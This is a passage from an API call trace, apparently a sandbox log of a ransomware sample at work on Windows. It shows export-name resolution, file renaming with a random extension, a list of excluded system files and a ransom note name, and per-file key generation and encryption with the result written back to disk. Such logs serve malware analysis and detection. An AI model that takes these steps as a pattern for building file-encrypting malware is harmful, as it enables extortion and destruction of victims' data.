(lpString="CREATEBOUNDARYDESCRIPTORW") returned 25 [0118.410] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateConsoleScreenBuffer" | out: lpString1="CreateConsoleScreenBuffer") returned="CreateConsoleScreenBuffer" [0118.410] lstrlenA (lpString="CREATECONSOLESCREENBUFFER") returned 25 [0118.410] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateDirectoryA" | out: lpString1="CreateDirectoryA") returned="CreateDirectoryA" [0118.410] lstrlenA (lpString="CREATEDIRECTORYA") returned 16 [0118.410] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateDirectoryExA" | out: lpString1="CreateDirectoryExA") returned="CreateDirectoryExA" [0118.410] lstrlenA (lpString="CREATEDIRECTORYEXA") returned 18 [0118.410] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateDirectoryExW" | out: lpString1="CreateDirectoryExW") returned="CreateDirectoryExW" [0118.411] lstrlenA (lpString="CREATEDIRECTORYEXW") returned 18 [0118.411] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateDirectoryTransactedA" | out: lpString1="CreateDirectoryTransactedA") returned="CreateDirectoryTransactedA" [0118.411] lstrlenA (lpString="CREATEDIRECTORYTRANSACTEDA") returned 26 [0118.411] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateDirectoryTransactedW" | out: lpString1="CreateDirectoryTransactedW") returned="CreateDirectoryTransactedW" [0118.411] lstrlenA (lpString="CREATEDIRECTORYTRANSACTEDW") returned 26 [0118.411] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateDirectoryW" | out: lpString1="CreateDirectoryW") returned="CreateDirectoryW" [0118.411] lstrlenA (lpString="CREATEDIRECTORYW") returned 16 [0118.411] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateEnclave" | out: lpString1="CreateEnclave") returned="CreateEnclave" [0118.411] lstrlenA (lpString="CREATEENCLAVE") returned 13 [0118.411] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateEventA" | out: lpString1="CreateEventA") returned="CreateEventA" [0118.411] lstrlenA (lpString="CREATEEVENTA") returned 12 [0118.411] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateEventExA" | out: lpString1="CreateEventExA") returned="CreateEventExA" [0118.411] lstrlenA (lpString="CREATEEVENTEXA") returned 14 [0118.411] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateEventExW" | out: lpString1="CreateEventExW") returned="CreateEventExW" [0118.411] lstrlenA (lpString="CREATEEVENTEXW") returned 14 [0118.411] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateEventW" | out: lpString1="CreateEventW") returned="CreateEventW" [0118.411] lstrlenA (lpString="CREATEEVENTW") returned 12 [0118.411] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFiber" | out: lpString1="CreateFiber") returned="CreateFiber" [0118.411] lstrlenA (lpString="CREATEFIBER") returned 11 [0118.411] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFiberEx" | out: lpString1="CreateFiberEx") returned="CreateFiberEx" [0118.411] lstrlenA (lpString="CREATEFIBEREX") returned 13 [0118.411] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFile2" | out: lpString1="CreateFile2") returned="CreateFile2" [0118.411] lstrlenA (lpString="CREATEFILE2") returned 11 [0118.411] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileA" | out: lpString1="CreateFileA") returned="CreateFileA" [0118.411] lstrlenA (lpString="CREATEFILEA") returned 11 [0118.411] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileMappingA" | out: lpString1="CreateFileMappingA") returned="CreateFileMappingA" [0118.411] lstrlenA (lpString="CREATEFILEMAPPINGA") returned 18 [0118.411] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileMappingFromApp" | out: lpString1="CreateFileMappingFromApp") returned="CreateFileMappingFromApp" [0118.411] lstrlenA (lpString="CREATEFILEMAPPINGFROMAPP") returned 24 [0118.411] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileMappingNumaA" | out: lpString1="CreateFileMappingNumaA") returned="CreateFileMappingNumaA" [0118.411] lstrlenA (lpString="CREATEFILEMAPPINGNUMAA") returned 22 [0118.412] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileMappingNumaW" | out: lpString1="CreateFileMappingNumaW") returned="CreateFileMappingNumaW" [0118.412] lstrlenA (lpString="CREATEFILEMAPPINGNUMAW") returned 22 [0118.412] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileMappingW" | out: lpString1="CreateFileMappingW") returned="CreateFileMappingW" [0118.412] lstrlenA (lpString="CREATEFILEMAPPINGW") returned 18 [0118.412] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileTransactedA" | out: lpString1="CreateFileTransactedA") returned="CreateFileTransactedA" [0118.412] lstrlenA (lpString="CREATEFILETRANSACTEDA") returned 21 [0118.412] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileTransactedW" | out: lpString1="CreateFileTransactedW") returned="CreateFileTransactedW" [0118.412] lstrlenA (lpString="CREATEFILETRANSACTEDW") returned 21 [0118.412] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileW" | out: lpString1="CreateFileW") returned="CreateFileW" [0118.412] lstrlenA (lpString="CREATEFILEW") returned 11 [0118.412] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateHardLinkA" | out: lpString1="CreateHardLinkA") returned="CreateHardLinkA" [0118.412] lstrlenA (lpString="CREATEHARDLINKA") returned 15 [0118.412] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateHardLinkTransactedA" | out: lpString1="CreateHardLinkTransactedA") returned="CreateHardLinkTransactedA" [0118.412] lstrlenA (lpString="CREATEHARDLINKTRANSACTEDA") returned 25 [0118.412] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateHardLinkTransactedW" | out: lpString1="CreateHardLinkTransactedW") returned="CreateHardLinkTransactedW" [0118.412] lstrlenA (lpString="CREATEHARDLINKTRANSACTEDW") returned 25 [0118.412] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateHardLinkW" | out: lpString1="CreateHardLinkW") returned="CreateHardLinkW" [0118.412] lstrlenA (lpString="CREATEHARDLINKW") returned 15 [0118.412] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateIoCompletionPort" | out: lpString1="CreateIoCompletionPort") returned="CreateIoCompletionPort" [0118.412] lstrlenA (lpString="CREATEIOCOMPLETIONPORT") returned 22 [0118.412] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateJobObjectA" | out: lpString1="CreateJobObjectA") returned="CreateJobObjectA" [0118.412] lstrlenA (lpString="CREATEJOBOBJECTA") returned 16 [0118.412] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateJobObjectW" | out: lpString1="CreateJobObjectW") returned="CreateJobObjectW" [0118.412] lstrlenA (lpString="CREATEJOBOBJECTW") returned 16 [0118.412] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateJobSet" | out: lpString1="CreateJobSet") returned="CreateJobSet" [0118.412] lstrlenA (lpString="CREATEJOBSET") returned 12 [0118.412] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMailslotA" | out: lpString1="CreateMailslotA") returned="CreateMailslotA" [0118.412] lstrlenA (lpString="CREATEMAILSLOTA") returned 15 [0118.412] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMailslotW" | out: lpString1="CreateMailslotW") returned="CreateMailslotW" [0118.412] lstrlenA (lpString="CREATEMAILSLOTW") returned 15 [0118.412] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMemoryResourceNotification" | out: lpString1="CreateMemoryResourceNotification") returned="CreateMemoryResourceNotification" [0118.413] lstrlenA (lpString="CREATEMEMORYRESOURCENOTIFICATION") returned 32 [0118.413] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMutexA" | out: lpString1="CreateMutexA") returned="CreateMutexA" [0118.413] lstrlenA (lpString="CREATEMUTEXA") returned 12 [0118.413] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMutexExA" | out: lpString1="CreateMutexExA") returned="CreateMutexExA" [0118.413] lstrlenA (lpString="CREATEMUTEXEXA") returned 14 [0118.413] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMutexExW" | out: lpString1="CreateMutexExW") returned="CreateMutexExW" [0118.413] lstrlenA (lpString="CREATEMUTEXEXW") returned 14 [0118.413] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMutexW" | out: lpString1="CreateMutexW") returned="CreateMutexW" [0118.413] lstrlenA (lpString="CREATEMUTEXW") returned 12 [0118.413] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateNamedPipeA" | out: lpString1="CreateNamedPipeA") returned="CreateNamedPipeA" [0118.413] lstrlenA (lpString="CREATENAMEDPIPEA") returned 16 [0118.413] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateNamedPipeW" | out: lpString1="CreateNamedPipeW") returned="CreateNamedPipeW" [0118.413] lstrlenA (lpString="CREATENAMEDPIPEW") returned 16 [0118.413] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreatePipe" | out: lpString1="CreatePipe") returned="CreatePipe" [0118.413] lstrlenA (lpString="CREATEPIPE") returned 10 [0118.413] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreatePrivateNamespaceA" | out: lpString1="CreatePrivateNamespaceA") returned="CreatePrivateNamespaceA" [0118.413] lstrlenA (lpString="CREATEPRIVATENAMESPACEA") returned 23 [0118.413] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreatePrivateNamespaceW" | out: lpString1="CreatePrivateNamespaceW") returned="CreatePrivateNamespaceW" [0118.413] lstrlenA (lpString="CREATEPRIVATENAMESPACEW") returned 23 [0118.413] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateProcessA" | out: lpString1="CreateProcessA") returned="CreateProcessA" [0118.413] lstrlenA (lpString="CREATEPROCESSA") returned 14 [0118.413] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateProcessAsUserA" | out: lpString1="CreateProcessAsUserA") returned="CreateProcessAsUserA" [0118.413] lstrlenA (lpString="CREATEPROCESSASUSERA") returned 20 [0118.413] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateProcessAsUserW" | out: lpString1="CreateProcessAsUserW") returned="CreateProcessAsUserW" [0118.413] lstrlenA (lpString="CREATEPROCESSASUSERW") returned 20 [0118.413] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateProcessInternalA" | out: lpString1="CreateProcessInternalA") returned="CreateProcessInternalA" [0118.413] lstrlenA (lpString="CREATEPROCESSINTERNALA") returned 22 [0118.413] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateProcessInternalW" | out: lpString1="CreateProcessInternalW") returned="CreateProcessInternalW" [0118.413] lstrlenA (lpString="CREATEPROCESSINTERNALW") returned 22 [0118.413] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateProcessW" | out: lpString1="CreateProcessW") returned="CreateProcessW" [0118.413] lstrlenA (lpString="CREATEPROCESSW") returned 14 [0118.413] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateRemoteThread" | out: lpString1="CreateRemoteThread") returned="CreateRemoteThread" [0118.414] lstrlenA (lpString="CREATEREMOTETHREAD") returned 18 [0118.414] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateRemoteThreadEx" | out: lpString1="CreateRemoteThreadEx") returned="CreateRemoteThreadEx" [0118.414] lstrlenA (lpString="CREATEREMOTETHREADEX") returned 20 [0118.414] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSemaphoreA" | out: lpString1="CreateSemaphoreA") returned="CreateSemaphoreA" [0118.414] lstrlenA (lpString="CREATESEMAPHOREA") returned 16 [0118.414] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSemaphoreExA" | out: lpString1="CreateSemaphoreExA") returned="CreateSemaphoreExA" [0118.414] lstrlenA (lpString="CREATESEMAPHOREEXA") returned 18 [0118.414] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSemaphoreExW" | out: lpString1="CreateSemaphoreExW") returned="CreateSemaphoreExW" [0118.414] lstrlenA (lpString="CREATESEMAPHOREEXW") returned 18 [0118.414] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSemaphoreW" | out: lpString1="CreateSemaphoreW") returned="CreateSemaphoreW" [0118.414] lstrlenA (lpString="CREATESEMAPHOREW") returned 16 [0118.414] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSocketHandle" | out: lpString1="CreateSocketHandle") returned="CreateSocketHandle" [0118.414] lstrlenA (lpString="CREATESOCKETHANDLE") returned 18 [0118.414] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSymbolicLinkA" | out: lpString1="CreateSymbolicLinkA") returned="CreateSymbolicLinkA" [0118.414] lstrlenA (lpString="CREATESYMBOLICLINKA") returned 19 [0118.414] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSymbolicLinkTransactedA" | out: lpString1="CreateSymbolicLinkTransactedA") returned="CreateSymbolicLinkTransactedA" [0118.414] lstrlenA (lpString="CREATESYMBOLICLINKTRANSACTEDA") returned 29 [0118.414] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSymbolicLinkTransactedW" | out: lpString1="CreateSymbolicLinkTransactedW") returned="CreateSymbolicLinkTransactedW" [0118.414] lstrlenA (lpString="CREATESYMBOLICLINKTRANSACTEDW") returned 29 [0118.414] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSymbolicLinkW" | out: lpString1="CreateSymbolicLinkW") returned="CreateSymbolicLinkW" [0118.414] lstrlenA (lpString="CREATESYMBOLICLINKW") returned 19 [0118.414] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateTapePartition" | out: lpString1="CreateTapePartition") returned="CreateTapePartition" [0118.414] lstrlenA (lpString="CREATETAPEPARTITION") returned 19 [0118.414] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThread" | out: lpString1="CreateThread") returned="CreateThread" [0118.414] lstrlenA (lpString="CREATETHREAD") returned 12 [0118.414] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThreadpool" | out: lpString1="CreateThreadpool") returned="CreateThreadpool" [0118.414] lstrlenA (lpString="CREATETHREADPOOL") returned 16 [0118.414] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThreadpoolCleanupGroup" | out: lpString1="CreateThreadpoolCleanupGroup") returned="CreateThreadpoolCleanupGroup" [0118.414] lstrlenA (lpString="CREATETHREADPOOLCLEANUPGROUP") returned 28 [0118.414] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThreadpoolIo" | out: lpString1="CreateThreadpoolIo") returned="CreateThreadpoolIo" [0118.414] lstrlenA (lpString="CREATETHREADPOOLIO") returned 18 [0118.414] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThreadpoolTimer" | out: lpString1="CreateThreadpoolTimer") returned="CreateThreadpoolTimer" [0118.415] lstrlenA (lpString="CREATETHREADPOOLTIMER") returned 21 [0118.415] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThreadpoolWait" | out: lpString1="CreateThreadpoolWait") returned="CreateThreadpoolWait" [0118.415] lstrlenA (lpString="CREATETHREADPOOLWAIT") returned 20 [0118.415] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThreadpoolWork" | out: lpString1="CreateThreadpoolWork") returned="CreateThreadpoolWork" [0118.415] lstrlenA (lpString="CREATETHREADPOOLWORK") returned 20 [0118.415] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateTimerQueue" | out: lpString1="CreateTimerQueue") returned="CreateTimerQueue" [0118.415] lstrlenA (lpString="CREATETIMERQUEUE") returned 16 [0118.415] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateTimerQueueTimer" | out: lpString1="CreateTimerQueueTimer") returned="CreateTimerQueueTimer" [0118.415] wsprintfW (in: param_1=0x38be7e4, param_2="%s.%s" | out: param_1="C:\\588bce7c90097ed212\\1030\\LocalizedData.xml.RriTsMP") returned 52 [0118.415] MoveFileExW (lpExistingFileName="C:\\588bce7c90097ed212\\1030\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1030\\localizeddata.xml"), lpNewFileName="C:\\588bce7c90097ed212\\1030\\LocalizedData.xml.RriTsMP" (normalized: "c:\\588bce7c90097ed212\\1030\\localizeddata.xml.rritsmp"), dwFlags=0x0) returned 1 [0118.416] VirtualFree (lpAddress=0x3c60000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0118.416] VirtualFree (lpAddress=0x3c70000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0118.417] VirtualFree (lpAddress=0x38c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0118.417] FindNextFileW (in: hFindFile=0x3b810c0, lpFindFileData=0x38bf814 | out: lpFindFileData=0x38bf814*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4758, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1 [0118.417] lstrcmpiW (lpString1="SetupResources.dll", lpString2="DECRYPT-FILES.html") returned 1 [0118.417] lstrcmpiW (lpString1="SetupResources.dll", lpString2="autorun.inf") returned 1 [0118.417] lstrcmpiW (lpString1="SetupResources.dll", lpString2="boot.ini") returned 1 [0118.417] lstrcmpiW (lpString1="SetupResources.dll", lpString2="desktop.ini") returned 1 [0118.417] lstrcmpiW (lpString1="SetupResources.dll", lpString2="ntuser.dat") returned 1 [0118.417] lstrcmpiW (lpString1="SetupResources.dll", lpString2="iconcache.db") returned 1 [0118.417] lstrcmpiW (lpString1="SetupResources.dll", lpString2="bootsect.bak") returned 1 [0118.417] lstrcmpiW (lpString1="SetupResources.dll", lpString2="ntuser.dat.log") returned 1 [0118.417] lstrcmpiW (lpString1="SetupResources.dll", lpString2="thumbs.db") returned -1 [0118.417] lstrcmpiW (lpString1="SetupResources.dll", lpString2="Bootfont.bin") returned 1 [0118.417] lstrlenW (lpString="C:\\588bce7c90097ed212\\1030\\") returned 27 [0118.417] lstrlenW (lpString="SetupResources.dll") returned 18 [0118.417] lstrcpyW (in: lpString1=0x38befe4, lpString2="C:\\588bce7c90097ed212\\1030\\" | out: lpString1="C:\\588bce7c90097ed212\\1030\\") returned="C:\\588bce7c90097ed212\\1030\\" [0118.418] lstrcatW (in: lpString1="C:\\588bce7c90097ed212\\1030\\", lpString2="SetupResources.dll" | out: lpString1="C:\\588bce7c90097ed212\\1030\\SetupResources.dll") returned="C:\\588bce7c90097ed212\\1030\\SetupResources.dll" [0118.418] VirtualAlloc (lpAddress=0x0, dwSize=0x28, flAllocationType=0x3000, flProtect=0x4) returned 0x38c0000 [0118.418] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1030\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1030\\setupresources.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5f4 [0118.419] GetFileSizeEx (in: hFile=0x5f4, lpFileSize=0x38be7b0 | out: lpFileSize=0x38be7b0*=18264) returned 1 [0118.419] CreateFileMappingW (hFile=0x5f4, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName=0x0) returned 0x5f8 [0118.419] MapViewOfFile (hFileMappingObject=0x5f8, dwDesiredAccess=0x2, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x3c60000 [0118.845] CryptGenRandom (in: hProv=0x6a26f8, dwLen=0x20, pbBuffer=0x38c0000 | out: pbBuffer=0x38c0000) returned 1 [0118.845] CryptGenRandom (in: hProv=0x6a26f8, dwLen=0x8, pbBuffer=0x38c0020 | out: pbBuffer=0x38c0020) returned 1 [0118.845] VirtualAlloc (lpAddress=0x0, dwSize=0x108, flAllocationType=0x3000, flProtect=0x4) returned 0x2d10000 [0118.845] CryptEncrypt (in: hKey=0x68c9e8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2d10000*, pdwDataLen=0x38be718*=0x28, dwBufLen=0x100 | out: pbData=0x2d10000*, pdwDataLen=0x38be718*=0x100) returned 1 [0118.845] VirtualAlloc (lpAddress=0x0, dwSize=0x1001, flAllocationType=0x3000, flProtect=0x4) returned 0x2d20000 [0118.846] VirtualFree (lpAddress=0x2d20000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0118.846] UnmapViewOfFile (lpBaseAddress=0x3c60000) returned 1 [0118.847] CloseHandle (hObject=0x5f8) returned 1 [0118.847] SetFilePointerEx (in: hFile=0x5f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0118.847] WriteFile (in: hFile=0x5f4, lpBuffer=0x2d10000*, nNumberOfBytesToWrite=0x108, lpNumberOfBytesWritten=0x38be738, lpOverlapped=0x0 | out: lpBuffer=0x2d10000*, lpNumberOfBytesWritten=0x38be738*=0x108, lpOverlapped=0x0) returned 1 [0118.848] CloseHandle (hObject=0x0) returned 0 [0118.848] CloseHandle (hObject=0x5f4) returned 1 [0118.849] VirtualFree (lpAddress=0x2d10000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0118.849] VirtualFree (lpAddress=0x38c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0118.849] GetTickCount () returned 0x3326b [0118.849] VirtualAlloc (lpAddress=0x0, dwSize=0x18, flAllocationType=0x3000, flProtect=0x4) returned 0x2d10000 [0118.850] lstrlenW (lpString="qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM1234567890") returned 62 [0118.850] VirtualAlloc (lpAddress=0x0, dwSize=0xa, flAllocationType=0x3000, flProtect=0x4) returned 0x2d20000 [0118.850] VirtualAlloc (lpAddress=0x0, dwSize=0x7e, flAllocationType=0x3000, flProtect=0x4) returned 0x2d30000 [0118.850] lstrlenA (lpString="kernel32.dll") returned 12 [0118.850] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x75e90000 [0118.850] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AcquireSRWLockExclusive" | out: lpString1="AcquireSRWLockExclusive") returned="AcquireSRWLockExclusive" [0118.850] lstrlenA (lpString="ACQUIRESRWLOCKEXCLUSIVE") returned 23 [0118.850] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AcquireSRWLockShared" | out: lpString1="AcquireSRWLockShared") returned="AcquireSRWLockShared" [0118.850] lstrlenA (lpString="ACQUIRESRWLOCKSHARED") returned 20 [0118.850] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ActivateActCtx" | out: lpString1="ActivateActCtx") returned="ActivateActCtx" [0118.850] lstrlenA (lpString="ACTIVATEACTCTX") returned 14 [0118.850] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ActivateActCtxWorker" | out: lpString1="ActivateActCtxWorker") returned="ActivateActCtxWorker" [0118.851] lstrlenA (lpString="ACTIVATEACTCTXWORKER") returned 20 [0118.851] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddAtomA" | out: lpString1="AddAtomA") returned="AddAtomA" [0118.851] lstrlenA (lpString="ADDATOMA") returned 8 [0118.851] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddAtomW" | out: lpString1="AddAtomW") returned="AddAtomW" [0118.851] lstrlenA (lpString="ADDATOMW") returned 8 [0118.851] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddConsoleAliasA" | out: lpString1="AddConsoleAliasA") returned="AddConsoleAliasA" [0118.851] lstrlenA (lpString="ADDCONSOLEALIASA") returned 16 [0118.851] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddConsoleAliasW" | out: lpString1="AddConsoleAliasW") returned="AddConsoleAliasW" [0118.851] lstrlenA (lpString="ADDCONSOLEALIASW") returned 16 [0118.851] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddDllDirectory" | out: lpString1="AddDllDirectory") returned="AddDllDirectory" [0118.851] lstrlenA (lpString="ADDDLLDIRECTORY") returned 15 [0118.851] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddIntegrityLabelToBoundaryDescriptor" | out: lpString1="AddIntegrityLabelToBoundaryDescriptor") returned="AddIntegrityLabelToBoundaryDescriptor" [0118.851] lstrlenA (lpString="ADDINTEGRITYLABELTOBOUNDARYDESCRIPTOR") returned 37 [0118.851] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddLocalAlternateComputerNameA" | out: lpString1="AddLocalAlternateComputerNameA") returned="AddLocalAlternateComputerNameA" [0118.851] lstrlenA (lpString="ADDLOCALALTERNATECOMPUTERNAMEA") returned 30 [0118.851] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddLocalAlternateComputerNameW" | out: lpString1="AddLocalAlternateComputerNameW") returned="AddLocalAlternateComputerNameW" [0118.851] lstrlenA (lpString="ADDLOCALALTERNATECOMPUTERNAMEW") returned 30 [0118.851] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddRefActCtx" | out: lpString1="AddRefActCtx") returned="AddRefActCtx" [0118.851] lstrlenA (lpString="ADDREFACTCTX") returned 12 [0118.851] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddRefActCtxWorker" | out: lpString1="AddRefActCtxWorker") returned="AddRefActCtxWorker" [0118.851] lstrlenA (lpString="ADDREFACTCTXWORKER") returned 18 [0118.851] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddResourceAttributeAce" | out: lpString1="AddResourceAttributeAce") returned="AddResourceAttributeAce" [0118.851] lstrlenA (lpString="ADDRESOURCEATTRIBUTEACE") returned 23 [0118.851] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddSIDToBoundaryDescriptor" | out: lpString1="AddSIDToBoundaryDescriptor") returned="AddSIDToBoundaryDescriptor" [0118.851] lstrlenA (lpString="ADDSIDTOBOUNDARYDESCRIPTOR") returned 26 [0118.851] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddScopedPolicyIDAce" | out: lpString1="AddScopedPolicyIDAce") returned="AddScopedPolicyIDAce" [0118.851] lstrlenA (lpString="ADDSCOPEDPOLICYIDACE") returned 20 [0118.851] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddSecureMemoryCacheCallback" | out: lpString1="AddSecureMemoryCacheCallback") returned="AddSecureMemoryCacheCallback" [0118.851] lstrlenA (lpString="ADDSECUREMEMORYCACHECALLBACK") returned 28 [0118.851] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddVectoredContinueHandler" | out: lpString1="AddVectoredContinueHandler") returned="AddVectoredContinueHandler" [0118.851] lstrlenA (lpString="ADDVECTOREDCONTINUEHANDLER") returned 26 [0118.851] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddVectoredExceptionHandler" | out: lpString1="AddVectoredExceptionHandler") returned="AddVectoredExceptionHandler" [0118.851] lstrlenA (lpString="ADDVECTOREDEXCEPTIONHANDLER") returned 27 [0118.851] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AdjustCalendarDate" | out: lpString1="AdjustCalendarDate") returned="AdjustCalendarDate" [0118.851] lstrlenA (lpString="ADJUSTCALENDARDATE") returned 18 [0118.851] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AllocConsole" | out: lpString1="AllocConsole") returned="AllocConsole" [0118.851] lstrlenA (lpString="ALLOCCONSOLE") returned 12 [0118.851] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AllocateUserPhysicalPages" | out: lpString1="AllocateUserPhysicalPages") returned="AllocateUserPhysicalPages" [0118.852] lstrlenA (lpString="ALLOCATEUSERPHYSICALPAGES") returned 25 [0118.852] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AllocateUserPhysicalPagesNuma" | out: lpString1="AllocateUserPhysicalPagesNuma") returned="AllocateUserPhysicalPagesNuma" [0118.852] lstrlenA (lpString="ALLOCATEUSERPHYSICALPAGESNUMA") returned 29 [0118.852] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetClrCompat" | out: lpString1="AppPolicyGetClrCompat") returned="AppPolicyGetClrCompat" [0118.852] lstrlenA (lpString="APPPOLICYGETCLRCOMPAT") returned 21 [0118.852] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetCreateFileAccess" | out: lpString1="AppPolicyGetCreateFileAccess") returned="AppPolicyGetCreateFileAccess" [0118.852] lstrlenA (lpString="APPPOLICYGETCREATEFILEACCESS") returned 28 [0118.852] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetLifecycleManagement" | out: lpString1="AppPolicyGetLifecycleManagement") returned="AppPolicyGetLifecycleManagement" [0118.852] lstrlenA (lpString="APPPOLICYGETLIFECYCLEMANAGEMENT") returned 31 [0118.852] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetMediaFoundationCodecLoading" | out: lpString1="AppPolicyGetMediaFoundationCodecLoading") 